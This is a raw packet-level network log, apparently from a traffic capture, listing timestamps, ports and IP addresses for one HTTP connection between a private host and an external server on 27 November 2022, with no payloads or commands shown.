Nov 27, 2022 04:36:42.937958002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937962055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938029051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938040972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938100100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938168049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938174963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938239098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938306093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938311100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938374996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938443899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938519001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938523054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938587904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938591003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938657045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938724995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938734055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938795090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938864946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938947916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.938985109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.938990116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939033985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939078093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939107895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939107895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939121008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939163923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939204931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939239025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939246893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939290047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939331055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939383030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939390898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939426899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939459085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939490080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939549923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939599037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939644098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939676046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939690113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939733028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939775944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939819098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939846039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939846039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939863920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939908981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939950943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.939980030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.939992905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940036058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940078020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940107107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940107107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940120935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940164089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940206051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940248013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940268993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940268993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940284014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940329075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940371990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940412045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940435886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940435886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940457106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940500021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940541983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940586090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940618038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940618038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940632105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940675974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940722942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940742970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940764904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940809965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940809965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940879107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940882921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.940922022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.940964937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941005945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941032887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941047907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941087961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941113949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941155910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941199064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941226006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941241026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941282988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941283941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941324949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941366911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941410065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941445112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941445112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941453934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941495895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941540003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941585064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941605091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941605091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941629887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941674948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941716909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941761017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941782951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941782951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941806078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941849947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941891909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941935062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941951036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.941977978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.941994905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942019939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942061901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942104101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942147017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942163944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942163944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942188978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942234039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942253113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942276955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942318916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942336082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942359924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942374945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942404985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942451954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942470074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942497969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942540884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942572117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942588091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942631960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942673922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942692995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942723989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942770958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942792892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942811966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942840099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.942857027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942919970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942962885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.942991018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943006992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943023920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943052053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943104982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943129063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943139076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943173885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943198919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943207979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943243027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943274975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943308115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943309069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943326950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943344116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943377972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943403959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943412066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943444967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943478107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943510056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943511009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943542957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943543911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943578959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943614006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943640947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943648100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943670034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943684101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943717003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943742037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943751097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943784952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943846941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.943922997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.943974972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944008112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944041967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944048882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944077015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944093943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944111109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944147110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944180012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944181919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944202900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944216967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944252968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944287062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944319963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944320917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944344997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944355965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944390059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944425106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944454908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944461107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944494963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944495916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944534063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944567919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944602966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944610119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944638014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944652081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944673061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944706917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944736958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944741964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944760084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944778919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944814920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944847107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944864035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944897890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944931984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944966078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.944967985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944986105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.944999933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945034027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945061922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945069075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945105076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945137024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945168972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945171118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945194960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945205927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945239067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945272923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945276022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945306063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945339918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945372105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945374012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945394993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.945409060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945442915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945476055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.945477009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.948987007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.963521957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963573933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963603020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963629961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963656902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963717937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963722944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.963758945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.963771105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963795900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.963810921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963855982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963893890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963932037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963958979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.963968039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.963980913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964004993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964035988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964041948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964078903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964113951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964133978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964153051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964193106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964207888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964230061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964245081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964267969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964303017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964322090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964339018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964375019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964391947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964411020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964447021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964483023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964498043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964518070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964554071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964576960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964590073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964608908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964629889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964667082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964685917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964704037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964740992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964765072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964778900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964817047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964855909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964869976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964894056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964931011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964951992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.964967966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.964976072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965003967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965042114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965058088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965078115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965116024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965131998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965152979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965189934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965224028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965239048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965260983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965301037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965312958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965338945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965354919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965377092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965406895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965429068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965444088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965481043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965497017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965517044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965553999 CET	80	49705	66.235.200.147	192.168.2.5
